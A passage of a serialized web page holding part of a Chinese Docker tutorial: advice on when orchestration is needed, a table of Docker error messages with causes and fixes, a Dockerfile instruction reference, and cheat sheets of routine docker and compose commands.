挂了自动重建，这是编排层最大差异",[63,59897,59898,59902,59905],{},[84,59899,59900],{},[22,59901,53757],{},[84,59903,59904],{},"无直接对应（用不同清单\u002FHelm values）",[84,59906],{},[63,59908,59909,59914,59919],{},[84,59910,59911],{},[22,59912,59913],{},"docker compose up",[84,59915,59916],{},[22,59917,59918],{},"kubectl apply -f",[84,59920,59921],{},"声明式对齐这一思想一致",[53,59923,59924],{"id":59924},"什么时候真的需要编排",[11,59926,59927],{},"需要：多台机器且要自动分布与 failover、副本数会随负载变化、多团队共享集群、需要滚动发布与自动回滚、需要 RBAC 与审计、有状态服务要跨节点存储。",[11,59929,59930,59931,59934,59935,59938],{},"不需要：单机或两三台、服务数量个位数、变更频率低、团队没有 K8s 运维经验（这条最重要——",[17,59932,59933],{},"K8s 的运维成本会吃掉它的收益","）。中间态「Swarm 或 Compose + 一个反代 + 外部健康检查」常常是最优解。工程上的正确姿势是：",[17,59936,59937],{},"先把应用做成容器友好的","（第十三章无状态、配置注入、优雅停机、健康检查），这时上不上编排都是可逆决定；反过来，用一个「什么都做不了」的有状态容器去换 K8s，只会把问题从部署搬到运维。",[48,59940,59942],{"id":59941},"十八排障与速查报错原文原因与命令","十八、排障与速查：报错原文、原因与命令",[53,59944,59946],{"id":59945},"报错-原因-怎么办","报错 → 原因 → 怎么办",[57,59948,59949,59962],{},[60,59950,59951],{},[63,59952,59953,59956,59959],{},[66,59954,59955],{},"报错原文（片段）",[66,59957,59958],{},"真实原因",[66,59960,59961],{},"怎么办",[79,59963,59964,59986,60009,60032,60053,60070,60103,60129,60142,60163,60187,60205,60232,60255,60282,60299,60324],{},[63,59965,59966,59971,59974],{},[84,59967,59968],{},[22,59969,59970],{},"Cannot connect to the Docker daemon at unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock. Is the docker daemon running?",[84,59972,59973],{},"daemon 没起 \u002F socket 路径不对 \u002F 远程上下文指错",[84,59975,59976,17306,59979,17306,59982,59985],{},[22,59977,59978],{},"systemctl status docker",[22,59980,59981],{},"docker context ls",[22,59983,59984],{},"ls -l \u002Fvar\u002Frun\u002Fdocker.sock","；Desktop 用户先看图标是否在跑",[63,59987,59988,59992,59995],{},[84,59989,59990],{},[22,59991,46522],{},[84,59993,59994],{},"当前用户不在 docker 组，或加了组没重新登录",[84,59996,59997,17306,60000,58349,60003,60006,60007],{},[22,59998,59999],{},"getent group docker",[22,60001,60002],{},"usermod -aG docker $USER",[17,60004,60005],{},"重登","（第二章），或 ",[22,60008,46492],{},[63,60010,60011,60015,60018],{},[84,60012,60013],{},[22,60014,58726],{},[84,60016,60017],{},"宿主磁盘满（多半是容器日志或镜像层），或 tmpfs\u002Fshm 小",[84,60019,60020,4809,60023,60025,60026,60028,60029,60031],{},[22,60021,60022],{},"df -h",[22,60024,46967],{},"；先清 ",[22,60027,48491],{},"、日志（第十六章）、旧镜像；",[22,60030,53551],{}," 单独调",[63,60033,60034,60038,60041],{},[84,60035,60036],{},[22,60037,51345],{},[84,60039,60040],{},"宿主端口被别的容器\u002F进程占（第八章四步）",[84,60042,60043,60046,60047,60049,60050,60052],{},[22,60044,60045],{},"docker ps --format"," 找占用者；",[22,60048,51352],{}," 找宿主进程；僵尸 ",[22,60051,51242],{}," 靠重启 docker",[63,60054,60055,60059,60062],{},[84,60056,60057],{},[22,60058,46058],{},[84,60060,60061],{},"镜像架构与宿主不符（amd64 镜像跑在 ARM）",[84,60063,60064,60066,60067,60069],{},[22,60065,48964],{},"；用 ",[22,60068,46065],{}," 拉对应架构或构建多架构（第五章）",[63,60071,60072,60080,60089],{},[84,60073,60074,1901,60077],{},[22,60075,60076],{},"Error: No such image: xxx:tag",[22,60078,60079],{},"image with reference ... was not found",[84,60081,60082,60083,60086,60087],{},"构建失败没产出 tag \u002F 名字或 tag 拼错 \u002F 用了 ",[22,60084,60085],{},"--output type=oci"," 没 ",[22,60088,48368],{},[84,60090,60091,60093,60094,18338,60096,60098,60099,6745,60101],{},[22,60092,47119],{}," 核对；",[22,60095,47094],{},[22,60097,48384],{}," 看是否真的成功；buildx 记得 ",[22,60100,48368],{},[22,60102,48365],{},[63,60104,60105,60113,60116],{},[84,60106,60107,1901,60110],{},[22,60108,60109],{},"pull access denied for xxx",[22,60111,60112],{},"repository does not exist or may require 'docker login'",[84,60114,60115],{},"私有仓库未登录 \u002F 名字少了 registry 前缀 \u002F 镜像确实不存在",[84,60117,60118,60121,60122,272,60125,60128],{},[22,60119,60120],{},"docker login \u003Cregistry>","；补全 ",[22,60123,60124],{},"ghcr.io\u002F",[22,60126,60127],{},"localhost:5000\u002F"," 前缀（第十章）；确认命名空间大小写",[63,60130,60131,60136,60139],{},[84,60132,60133],{},[22,60134,60135],{},"toomanyrequests: You have reached your pull rate limit",[84,60137,60138],{},"Docker Hub 匿名限额（第十章）",[84,60140,60141],{},"CI 登录、把基础镜像同步到自建 registry、加缓存",[63,60143,60144,60150,60153],{},[84,60145,60146,60149],{},[22,60147,60148],{},"error during connect: ... open \u002F\u002F.\u002Fpipe\u002Fdocker_engine: The system cannot find the file specified","（Windows\u002FmacOS）",[84,60151,60152],{},"Docker Desktop 的 VM 没起来 \u002F 命名管道丢失 \u002F WSL2 未启用",[84,60154,60155,60156,17306,60159,60162],{},"启动 Desktop 等到图标稳定；",[22,60157,60158],{},"docker context use desktop-linux",[22,60160,60161],{},"wsl --update","；确认 BIOS 虚拟化",[63,60164,60165,60170,60177],{},[84,60166,60167],{},[22,60168,60169],{},"Error response from daemon: container ... is not running",[84,60171,60172,60173,655,60175],{},"对已停止容器执行 ",[22,60174,49225],{},[22,60176,50028],{},[84,60178,3283,60179,60181,60182,4843,60184,60186],{},[22,60180,46452],{}," 看状态 → ",[22,60183,49781],{},[22,60185,49652],{}," 手工跑（第七章三步法）",[63,60188,60189,60194,60197],{},[84,60190,60191],{},[22,60192,60193],{},"OCI runtime create failed: ... apply cgroup \u002Fsys\u002Ffs\u002Fcgroup\u002F...",[84,60195,60196],{},"cgroup 驱动冲突（systemd vs cgroupfs）、cgroup v1\u002Fv2 不匹配、或宿主 systemd 版本与 docker 不兼容",[84,60198,60199,49843,60201,60204],{},[22,60200,46267],{},[22,60202,60203],{},"Cgroup Driver\u002FVersion","；统一驱动；宿主重启后残留 cgroup 未清理时重启 docker",[63,60206,60207,60212,60215],{},[84,60208,60209],{},[22,60210,60211],{},"docker: 'compose' is not a docker command",[84,60213,60214],{},"装的是 v1 独立二进制，或 CLI 插件目录缺失",[84,60216,60217,60220,60221,60224,60225,60228,60229],{},[22,60218,60219],{},"docker compose version"," 失败则装 ",[22,60222,60223],{},"docker-compose-plugin","；旧环境用 ",[22,60226,60227],{},"docker-compose","（带横线）；Linux 检查 ",[22,60230,60231],{},"~\u002F.docker\u002Fcli-plugins\u002F",[63,60233,60234,60239,60245],{},[84,60235,60236],{},[22,60237,60238],{},"network ... not found",[84,60240,60241,60242,60244],{},"网络被 ",[22,60243,54222],{}," 删了但容器还在引用，或用了默认网络名",[84,60246,60247,60250,60251,60254],{},[22,60248,60249],{},"docker network ls","；重建网络并 ",[22,60252,60253],{},"network connect","；Compose 项目名变了（第十一章）",[63,60256,60257,60262,60268],{},[84,60258,60259],{},[22,60260,60261],{},"failed to start daemon: error initializing network allocator: invalid IPv4 network",[84,60263,60264,60267],{},[22,60265,60266],{},"default-address-pools"," 与宿主网段冲突",[84,60269,60270,60272,60273,655,60276,60278,60279],{},[22,60271,53010],{}," 调整 ",[22,60274,60275],{},"bip",[22,60277,60266],{}," 避开 ",[22,60280,60281],{},"192.168.x",[63,60283,60284,60289,60292],{},[84,60285,60286],{},[22,60287,60288],{},"error while mounting volume: permission denied",[84,60290,60291],{},"bind mount 源目录 SELinux\u002FAppArmor 拦或属主不符（第九章）",[84,60293,6381,60294,655,60296,60298],{},[22,60295,57943],{},[22,60297,57946],{},"（SELinux）；对齐 UID；rootless 检查 subuid",[63,60300,60301,60309,60312],{},[84,60302,60303,60304,18878,60306,60308],{},"容器起来就 ",[22,60305,50604],{},[22,60307,49781],{}," 空白",[84,60310,60311],{},"启动即失败且错误写进了文件而非 stdout；或 CMD 不是前台进程",[84,60313,60314,4843,60317,60319,60320,60323],{},[22,60315,60316],{},"logs --tail 50",[22,60318,49652],{}," 手工跑 → ",[22,60321,60322],{},"docker inspect .Path .Args"," 核对命令（第七、十三章）",[63,60325,60326,60330,60335],{},[84,60327,60303,60328],{},[22,60329,45994],{},[84,60331,49833,60332,60334],{},[22,60333,49836],{},"、或 stop 超时（第十四章）",[84,60336,60337,49843,60339,60341,60342,60344],{},[22,60338,49842],{},[22,60340,49846],{},"；调 ",[22,60343,49561],{},"；看是否 swap 语义写错",[53,60346,60348],{"id":60347},"dockerfile-指令速查表","Dockerfile 指令速查表",[57,60350,60351,60366],{},[60,60352,60353],{},[63,60354,60355,60357,60360,60363],{},[66,60356,20203],{},[66,60358,60359],{},"一句话语义",[66,60361,60362],{},"进数据层？",[66,60364,60365],{},"最常犯的错",[79,60367,60368,60388,60406,60421,60439,60453,60474,60493,60507,60521,60535,60548,60566,60580,60599,60613],{},[63,60369,60370,60374,60377,60379],{},[84,60371,60372],{},[22,60373,47268],{},[84,60375,60376],{},"起点\u002F阶段",[84,60378,5122],{},[84,60380,16105,60381,60383,60384,60387],{},[22,60382,37230],{},"；忘写 ",[22,60385,60386],{},"AS"," 名字",[63,60389,60390,60394,60397,60400],{},[84,60391,60392],{},[22,60393,47746],{},[84,60395,60396],{},"构建期变量",[84,60398,60399],{},"否",[84,60401,60402,60403,60405],{},"当密钥用；",[22,60404,47268],{}," 后忘记重新声明",[63,60407,60408,60412,60415,60418],{},[84,60409,60410],{},[22,60411,46930],{},[84,60413,60414],{},"构建+运行期变量",[84,60416,60417],{},"元数据",[84,60419,60420],{},"当密钥用；放在第一层导致全失效",[63,60422,60423,60427,60430,60433],{},[84,60424,60425],{},[22,60426,47308],{},[84,60428,60429],{},"复制上下文文件",[84,60431,60432],{},"是",[84,60434,60435,60436,60438],{},"不放 ",[22,60437,47418],{},"；写太靠前击穿缓存",[63,60440,60441,60445,60448,60450],{},[84,60442,60443],{},[22,60444,47313],{},[84,60446,60447],{},"复制 + 自动解压 tar + 拉 URL",[84,60449,60432],{},[84,60451,60452],{},"用它下载（无法清缓存、不校验）",[63,60454,60455,60459,60462,60464],{},[84,60456,60457],{},[22,60458,47461],{},[84,60460,60461],{},"执行命令生成一层",[84,60463,60432],{},[84,60465,60466,60467,60470,60471,60473],{},"多条 ",[22,60468,60469],{},"apt-get"," 分开写；",[22,60472,52134],{}," 前一层的东西",[63,60475,60476,60480,60483,60485],{},[84,60477,60478],{},[22,60479,46936],{},[84,60481,60482],{},"设置后续相对路径",[84,60484,60417],{},[84,60486,16105,60487,60489,60490,60492],{},[22,60488,47924],{}," 代替；用相对\u002F",[22,60491,5404],{}," 路径",[63,60494,60495,60499,60502,60504],{},[84,60496,60497],{},[22,60498,46939],{},[84,60500,60501],{},"切换身份",[84,60503,60417],{},[84,60505,60506],{},"放太靠前导致后续装包失败；写用户名不写 UID",[63,60508,60509,60513,60516,60518],{},[84,60510,60511],{},[22,60512,46945],{},[84,60514,60515],{},"声明挂载点",[84,60517,60417],{},[84,60519,60520],{},"以为它会保留数据；构建期写该目录内容被丢",[63,60522,60523,60527,60530,60532],{},[84,60524,60525],{},[22,60526,46933],{},[84,60528,60529],{},"文档化端口",[84,60531,60417],{},[84,60533,60534],{},"以为它真的开了端口",[63,60536,60537,60541,60543,60545],{},[84,60538,60539],{},[22,60540,46942],{},[84,60542,60417],{},[84,60544,60417],{},[84,60546,60547],{},"放动态值（commit 号）击穿缓存",[63,60549,60550,60554,60557,60559],{},[84,60551,60552],{},[22,60553,48032],{},[84,60555,60556],{},"自证可用",[84,60558,60417],{},[84,60560,60561,60562,60565],{},"不设 ",[22,60563,60564],{},"start-period","；检查打到 127.0.0.1 之外的地址",[63,60567,60568,60572,60575,60577],{},[84,60569,60570],{},[22,60571,46430],{},[84,60573,60574],{},"默认参数\u002F命令",[84,60576,60417],{},[84,60578,60579],{},"用 shell 形式导致 PID 1 收不到信号（第十六章）",[63,60581,60582,60586,60589,60591],{},[84,60583,60584],{},[22,60585,46927],{},[84,60587,60588],{},"主命令",[84,60590,60417],{},[84,60592,53522,60593,60595,60596,60598],{},[22,60594,46430],{}," 语义混用；",[22,60597,52442],{}," 传参被整条替换",[63,60600,60601,60605,60608,60610],{},[84,60602,60603],{},[22,60604,48049],{},[84,60606,60607],{},"改默认 shell",[84,60609,60417],{},[84,60611,60612],{},"切 bash 后镜像里没有 bash",[63,60614,60615,60619,60622,60624],{},[84,60616,60617],{},[22,60618,48466],{},[84,60620,60621],{},"选 BuildKit 前端",[84,60623,5122],{},[84,60625,60626],{},"没放在文件最前面",[11,60628,60629,60630,18878,60632,60634,60635,655,60637,655,60639,655,60641,655,60643,60645],{},"顺序铁律：",[17,60631,48071],{},[22,60633,47029],{}," 尽量靠后、元数据指令（",[22,60636,46930],{},[22,60638,46933],{},[22,60640,46430],{},[22,60642,46927],{},[22,60644,46939],{},"）放最后。",[53,60647,60649],{"id":60648},"命令速查六组","命令速查：六组",[308,60651,60653],{"className":3902,"code":60652,"language":3904,"meta":314,"style":314},"docker build -t repo\u002Fapp:1.0.0 --pull --no-cache-filter deps .\ndocker buildx build --platform linux\u002Famd64,linux\u002Farm64 -t repo\u002Fapp:1.0.0 --push .\ndocker images; docker image inspect img; docker history --no-trunc img\ndocker pull repo\u002Fapp:1.0.0@sha256:...; docker tag a b; docker push b\ndocker save -o a.tar img; docker load -i a.tar\ndocker rmi img; docker image prune -a --filter until=336h\n",[22,60654,60655,60677,60697,60727,60757,60781],{"__ignoreMap":314},[331,60656,60657,60659,60661,60663,60666,60669,60672,60675],{"class":333,"line":334},[331,60658,36862],{"class":501},[331,60660,35439],{"class":365},[331,60662,48230],{"class":344},[331,60664,60665],{"class":365}," repo\u002Fapp:1.0.0",[331,60667,60668],{"class":344}," --pull",[331,60670,60671],{"class":344}," --no-cache-filter",[331,60673,60674],{"class":365}," deps",[331,60676,48236],{"class":365},[331,60678,60679,60681,60683,60685,60687,60689,60691,60693,60695],{"class":333,"line":341},[331,60680,36862],{"class":501},[331,60682,48850],{"class":365},[331,60684,35439],{"class":365},[331,60686,48910],{"class":344},[331,60688,48913],{"class":365},[331,60690,48230],{"class":344},[331,60692,60665],{"class":365},[331,60694,48920],{"class":344},[331,60696,48236],{"class":365},[331,60698,60699,60701,60704,60706,60708,60710,60712,60715,60717,60719,60722,60724],{"class":333,"line":357},[331,60700,36862],{"class":501},[331,60702,60703],{"class":365}," images",[331,60705,620],{"class":337},[331,60707,36862],{"class":501},[331,60709,52670],{"class":365},[331,60711,48875],{"class":365},[331,60713,60714],{"class":365}," img",[331,60716,620],{"class":337},[331,60718,36862],{"class":501},[331,60720,60721],{"class":365}," history",[331,60723,59530],{"class":344},[331,60725,60726],{"class":365}," img\n",[331,60728,60729,60731,60733,60736,60738,60740,60742,60745,60748,60750,60752,60754],{"class":333,"line":371},[331,60730,36862],{"class":501},[331,60732,52516],{"class":365},[331,60734,60735],{"class":365}," repo\u002Fapp:1.0.0@sha256:...",[331,60737,620],{"class":337},[331,60739,36862],{"class":501},[331,60741,52855],{"class":365},[331,60743,60744],{"class":365}," a",[331,60746,60747],{"class":365}," b",[331,60749,620],{"class":337},[331,60751,36862],{"class":501},[331,60753,52866],{"class":365},[331,60755,60756],{"class":365}," b\n",[331,60758,60759,60761,60763,60765,60768,60770,60772,60774,60776,60778],{"class":333,"line":384},[331,60760,36862],{"class":501},[331,60762,33769],{"class":365},[331,60764,53195],{"class":344},[331,60766,60767],{"class":365}," a.tar",[331,60769,60714],{"class":365},[331,60771,620],{"class":337},[331,60773,36862],{"class":501},[331,60775,13822],{"class":365},[331,60777,53226],{"class":344},[331,60779,60780],{"class":365}," a.tar\n",[331,60782,60783,60785,60788,60790,60792,60794,60796,60798,60800,60802],{"class":333,"line":397},[331,60784,36862],{"class":501},[331,60786,60787],{"class":365}," rmi",[331,60789,60714],{"class":365},[331,60791,620],{"class":337},[331,60793,36862],{"class":501},[331,60795,52670],{"class":365},[331,60797,49188],{"class":365},[331,60799,57537],{"class":344},[331,60801,49999],{"class":344},[331,60803,60804],{"class":365}," until=336h\n",[308,60806,60808],{"className":3902,"code":60807,"language":3904,"meta":314,"style":314},"docker run -d --name app --restart unless-stopped -p 127.0.0.1:8080:3000 \\\n  -e TZ=Asia\u002FShanghai --env-file .env.prod -v app-data:\u002Fsrv\u002Fapp\u002Fdata \\\n  --network shop-net --init --read-only --tmpfs \u002Ftmp \\\n  --memory 512m --memory-swap 512m --cpus 1.5 --pids-limit 256 \\\n  --user 1001:1001 --cap-drop ALL --security-opt no-new-privileges img:1.0.0\ndocker ps -a; docker start\u002Fstop\u002Frestart\u002Fkill\u002Fpause\u002Funpause\u002Frm [-f] app\ndocker container prune; docker container ls --filter ancestor=img:1.0.0\ndocker logs -f --since 10m --timestamps app; docker stats --no-stream\ndocker top app; docker diff app; docker events --since 1h --filter event=die\ndocker exec -it app sh; docker cp app:\u002Fpath .\u002F; docker inspect --format '{{.State.Status}}' app\ndocker run --rm -it --entrypoint sh img -c 'node server.js'\n",[22,60809,60810,60833,60852,60868,60891,60912,60930,60951,60978,61009,61048],{"__ignoreMap":314},[331,60811,60812,60814,60816,60818,60820,60822,60824,60826,60828,60831],{"class":333,"line":334},[331,60813,36862],{"class":501},[331,60815,5020],{"class":365},[331,60817,36867],{"class":344},[331,60819,36870],{"class":344},[331,60821,18152],{"class":365},[331,60823,52828],{"class":344},[331,60825,52831],{"class":365},[331,60827,36941],{"class":344},[331,60829,60830],{"class":365}," 127.0.0.1:8080:3000",[331,60832,36876],{"class":344},[331,60834,60835,60837,60840,60842,60845,60847,60850],{"class":333,"line":341},[331,60836,36881],{"class":344},[331,60838,60839],{"class":365}," TZ=Asia\u002FShanghai",[331,60841,56484],{"class":344},[331,60843,60844],{"class":365}," .env.prod",[331,60846,51745],{"class":344},[331,60848,60849],{"class":365}," app-data:\u002Fsrv\u002Fapp\u002Fdata",[331,60851,36876],{"class":344},[331,60853,60854,60856,60858,60860,60862,60864,60866],{"class":333,"line":357},[331,60855,59433],{"class":344},[331,60857,51025],{"class":365},[331,60859,58624],{"class":344},[331,60861,57984],{"class":344},[331,60863,57987],{"class":344},[331,60865,57990],{"class":365},[331,60867,36876],{"class":344},[331,60869,60870,60873,60876,60879,60881,60883,60885,60887,60889],{"class":333,"line":371},[331,60871,60872],{"class":344},"  --memory",[331,60874,60875],{"class":365}," 512m",[331,60877,60878],{"class":344}," --memory-swap",[331,60880,60875],{"class":365},[331,60882,57087],{"class":344},[331,60884,57090],{"class":344},[331,60886,57105],{"class":344},[331,60888,57108],{"class":344},[331,60890,36876],{"class":344},[331,60892,60893,60896,60898,60901,60904,60906,60909],{"class":333,"line":384},[331,60894,60895],{"class":344},"  --user",[331,60897,58001],{"class":365},[331,60899,60900],{"class":344}," --cap-drop",[331,60902,60903],{"class":365}," ALL",[331,60905,57831],{"class":344},[331,60907,60908],{"class":365}," no-new-privileges",[331,60910,60911],{"class":365}," img:1.0.0\n",[331,60913,60914,60916,60918,60920,60922,60924,60927],{"class":333,"line":397},[331,60915,36862],{"class":501},[331,60917,50297],{"class":365},[331,60919,57537],{"class":344},[331,60921,620],{"class":337},[331,60923,36862],{"class":501},[331,60925,60926],{"class":365}," start\u002Fstop\u002Frestart\u002Fkill\u002Fpause\u002Funpause\u002Frm",[331,60928,60929],{"class":337}," [-f] app\n",[331,60931,60932,60934,60936,60938,60940,60942,60944,60946,60948],{"class":333,"line":418},[331,60933,36862],{"class":501},[331,60935,49185],{"class":365},[331,60937,49188],{"class":365},[331,60939,620],{"class":337},[331,60941,36862],{"class":501},[331,60943,49185],{"class":365},[331,60945,50172],{"class":365},[331,60947,49999],{"class":344},[331,60949,60950],{"class":365}," ancestor=img:1.0.0\n",[331,60952,60953,60955,60957,60959,60961,60964,60967,60969,60971,60973,60975],{"class":333,"line":427},[331,60954,36862],{"class":501},[331,60956,49928],{"class":365},[331,60958,43839],{"class":344},[331,60960,49939],{"class":344},[331,60962,60963],{"class":365}," 10m",[331,60965,60966],{"class":344}," --timestamps",[331,60968,18152],{"class":365},[331,60970,620],{"class":337},[331,60972,36862],{"class":501},[331,60974,49955],{"class":365},[331,60976,60977],{"class":344}," --no-stream\n",[331,60979,60980,60982,60984,60986,60988,60990,60992,60994,60996,60998,61000,61002,61005,61007],{"class":333,"line":439},[331,60981,36862],{"class":501},[331,60983,49968],{"class":365},[331,60985,18152],{"class":365},[331,60987,620],{"class":337},[331,60989,36862],{"class":501},[331,60991,49980],{"class":365},[331,60993,18152],{"class":365},[331,60995,620],{"class":337},[331,60997,36862],{"class":501},[331,60999,49992],{"class":365},[331,61001,49939],{"class":344},[331,61003,61004],{"class":365}," 1h",[331,61006,49999],{"class":344},[331,61008,57286],{"class":365},[331,61010,61011,61013,61015,61017,61019,61021,61023,61025,61028,61031,61034,61036,61038,61040,61042,61045],{"class":333,"line":450},[331,61012,36862],{"class":501},[331,61014,50113],{"class":365},[331,61016,50116],{"class":344},[331,61018,18152],{"class":365},[331,61020,50121],{"class":365},[331,61022,620],{"class":337},[331,61024,36862],{"class":501},[331,61026,61027],{"class":365}," cp",[331,61029,61030],{"class":365}," app:\u002Fpath",[331,61032,61033],{"class":365}," .\u002F",[331,61035,620],{"class":337},[331,61037,36862],{"class":501},[331,61039,48875],{"class":365},[331,61041,50255],{"class":344},[331,61043,61044],{"class":365}," '{{.State.Status}}'",[331,61046,61047],{"class":365}," app\n",[331,61049,61050,61052,61054,61056,61058,61060,61062,61064,61066],{"class":333,"line":456},[331,61051,36862],{"class":501},[331,61053,5020],{"class":365},[331,61055,48890],{"class":344},[331,61057,50116],{"class":344},[331,61059,50629],{"class":344},[331,61061,50121],{"class":365},[331,61063,60714],{"class":365},[331,61065,15990],{"class":344},[331,61067,61068],{"class":365}," 'node server.js'\n",[308,61070,61072],{"className":3902,"code":61071,"language":3904,"meta":314,"style":314},"docker network create --driver bridge --subnet 172.28.0.0\u002F16 shop-net\ndocker network connect [--alias api] shop-net app; docker network disconnect shop-net app\ndocker network ls; docker network inspect shop-net; docker network rm shop-net\ndocker network prune\n",[22,61073,61074,61092,61123,61151],{"__ignoreMap":314},[331,61075,61076,61078,61080,61082,61084,61086,61088,61090],{"class":333,"line":334},[331,61077,36862],{"class":501},[331,61079,50991],{"class":365},[331,61081,3919],{"class":365},[331,61083,48860],{"class":344},[331,61085,50998],{"class":365},[331,61087,51001],{"class":344},[331,61089,51004],{"class":365},[331,61091,51013],{"class":365},[331,61093,61094,61096,61098,61100,61103,61106,61108,61110,61112,61114,61116,61119,61121],{"class":333,"line":341},[331,61095,36862],{"class":501},[331,61097,50991],{"class":365},[331,61099,51022],{"class":365},[331,61101,61102],{"class":337}," [--alias ",[331,61104,61105],{"class":365},"api]",[331,61107,51025],{"class":365},[331,61109,18152],{"class":365},[331,61111,620],{"class":337},[331,61113,36862],{"class":501},[331,61115,50991],{"class":365},[331,61117,61118],{"class":365}," disconnect",[331,61120,51025],{"class":365},[331,61122,61047],{"class":365},[331,61124,61125,61127,61129,61131,61133,61135,61137,61139,61141,61143,61145,61147,61149],{"class":333,"line":357},[331,61126,36862],{"class":501},[331,61128,50991],{"class":365},[331,61130,50172],{"class":365},[331,61132,620],{"class":337},[331,61134,36862],{"class":501},[331,61136,50991],{"class":365},[331,61138,48875],{"class":365},[331,61140,51025],{"class":365},[331,61142,620],{"class":337},[331,61144,36862],{"class":501},[331,61146,50991],{"class":365},[331,61148,46759],{"class":365},[331,61150,51013],{"class":365},[331,61152,61153,61155,61157],{"class":333,"line":371},[331,61154,36862],{"class":501},[331,61156,50991],{"class":365},[331,61158,61159],{"class":365}," prune\n",[308,61161,61163],{"className":3902,"code":61162,"language":3904,"meta":314,"style":314},"docker volume create --name db-data --opt type=nfs --opt o=addr=...,rw --opt device=:\u002Fsrv\u002Fnfs\ndocker volume ls; docker volume inspect db-data; docker volume rm db-data\ndocker run --rm --volumes-from shop-db -v \"$PWD:\u002Fbackup\" alpine tar czf \u002Fbackup\u002Fdb.tar.gz \u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\ndocker run -d --mount type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata postgres:16.4\ndocker run -d -v .\u002Fconf:\u002Fetc\u002Fapp:ro nginx:1.27-alpine          # bind mount\ndocker run -d --mount type=tmpfs,tmpfs-size=64m,target=\u002Frun app img:1.0.0\n",[22,61164,61165,61193,61222,61252,61267,61285],{"__ignoreMap":314},[331,61166,61167,61169,61171,61173,61175,61177,61180,61183,61185,61188,61190],{"class":333,"line":334},[331,61168,36862],{"class":501},[331,61170,52048],{"class":365},[331,61172,3919],{"class":365},[331,61174,36870],{"class":344},[331,61176,52061],{"class":365},[331,61178,61179],{"class":344}," --opt",[331,61181,61182],{"class":365}," type=nfs",[331,61184,61179],{"class":344},[331,61186,61187],{"class":365}," o=addr=...,rw",[331,61189,61179],{"class":344},[331,61191,61192],{"class":365}," device=:\u002Fsrv\u002Fnfs\n",[331,61194,61195,61197,61199,61201,61203,61205,61207,61209,61211,61213,61215,61217,61219],{"class":333,"line":341},[331,61196,36862],{"class":501},[331,61198,52048],{"class":365},[331,61200,50172],{"class":365},[331,61202,620],{"class":337},[331,61204,36862],{"class":501},[331,61206,52048],{"class":365},[331,61208,48875],{"class":365},[331,61210,52061],{"class":365},[331,61212,620],{"class":337},[331,61214,36862],{"class":501},[331,61216,52048],{"class":365},[331,61218,46759],{"class":365},[331,61220,61221],{"class":365}," db-data\n",[331,61223,61224,61226,61228,61230,61232,61234,61236,61238,61240,61242,61244,61246,61248,61250],{"class":333,"line":357},[331,61225,36862],{"class":501},[331,61227,5020],{"class":365},[331,61229,48890],{"class":344},[331,61231,51985],{"class":344},[331,61233,51133],{"class":365},[331,61235,51745],{"class":344},[331,61237,51992],{"class":365},[331,61239,51995],{"class":337},[331,61241,51998],{"class":365},[331,61243,52001],{"class":365},[331,61245,52168],{"class":365},[331,61247,52011],{"class":365},[331,61249,52173],{"class":365},[331,61251,59061],{"class":365},[331,61253,61254,61256,61258,61260,61262,61265],{"class":333,"line":371},[331,61255,36862],{"class":501},[331,61257,5020],{"class":365},[331,61259,36867],{"class":344},[331,61261,51766],{"class":344},[331,61263,61264],{"class":365}," type=volume,source=db-data,target=\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata",[331,61266,51751],{"class":365},[331,61268,61269,61271,61273,61275,61277,61280,61282],{"class":333,"line":384},[331,61270,36862],{"class":501},[331,61272,5020],{"class":365},[331,61274,36867],{"class":344},[331,61276,51745],{"class":344},[331,61278,61279],{"class":365}," .\u002Fconf:\u002Fetc\u002Fapp:ro",[331,61281,49099],{"class":365},[331,61283,61284],{"class":1003},"          # bind mount\n",[331,61286,61287,61289,61291,61293,61295,61298,61300],{"class":333,"line":397},[331,61288,36862],{"class":501},[331,61290,5020],{"class":365},[331,61292,36867],{"class":344},[331,61294,51766],{"class":344},[331,61296,61297],{"class":365}," type=tmpfs,tmpfs-size=64m,target=\u002Frun",[331,61299,18152],{"class":365},[331,61301,60911],{"class":365},[308,61303,61305],{"className":3902,"code":61304,"language":3904,"meta":314,"style":314},"docker compose config                                      # 排错第一步\ndocker compose -f compose.yaml -f compose.prod.yaml up -d --build --force-recreate\ndocker compose ps; docker compose logs -f --tail 100 api\ndocker compose exec api sh; docker compose run --rm migrate node scripts\u002Fmigrate.js\ndocker compose up -d --scale api=3 --profile debug\ndocker compose stop; docker compose down            # 数据保留\ndocker compose down -v --remove-orphans             # -v 删卷，先想清楚\n",[22,61306,61307,61318,61341,61365,61395,61417,61436],{"__ignoreMap":314},[331,61308,61309,61311,61313,61315],{"class":333,"line":334},[331,61310,36862],{"class":501},[331,61312,53321],{"class":365},[331,61314,14596],{"class":365},[331,61316,61317],{"class":1003},"                                      # 排错第一步\n",[331,61319,61320,61322,61324,61326,61328,61330,61332,61334,61336,61338],{"class":333,"line":341},[331,61321,36862],{"class":501},[331,61323,53321],{"class":365},[331,61325,43839],{"class":344},[331,61327,54834],{"class":365},[331,61329,43839],{"class":344},[331,61331,54839],{"class":365},[331,61333,53336],{"class":365},[331,61335,36867],{"class":344},[331,61337,54378],{"class":344},[331,61339,61340],{"class":344}," --force-recreate\n",[331,61342,61343,61345,61347,61349,61351,61353,61355,61357,61359,61361,61363],{"class":333,"line":357},[331,61344,36862],{"class":501},[331,61346,53321],{"class":365},[331,61348,50297],{"class":365},[331,61350,620],{"class":337},[331,61352,36862],{"class":501},[331,61354,53321],{"class":365},[331,61356,49928],{"class":365},[331,61358,43839],{"class":344},[331,61360,49933],{"class":344},[331,61362,49936],{"class":344},[331,61364,54427],{"class":365},[331,61366,61367,61369,61371,61373,61375,61377,61379,61381,61383,61385,61387,61390,61392],{"class":333,"line":371},[331,61368,36862],{"class":501},[331,61370,53321],{"class":365},[331,61372,50113],{"class":365},[331,61374,51095],{"class":365},[331,61376,50121],{"class":365},[331,61378,620],{"class":337},[331,61380,36862],{"class":501},[331,61382,53321],{"class":365},[331,61384,5020],{"class":365},[331,61386,48890],{"class":344},[331,61388,61389],{"class":365}," migrate",[331,61391,15569],{"class":365},[331,61393,61394],{"class":365}," scripts\u002Fmigrate.js\n",[331,61396,61397,61399,61401,61403,61405,61408,61410,61412,61414],{"class":333,"line":384},[331,61398,36862],{"class":501},[331,61400,53321],{"class":365},[331,61402,53336],{"class":365},[331,61404,36867],{"class":344},[331,61406,61407],{"class":344}," 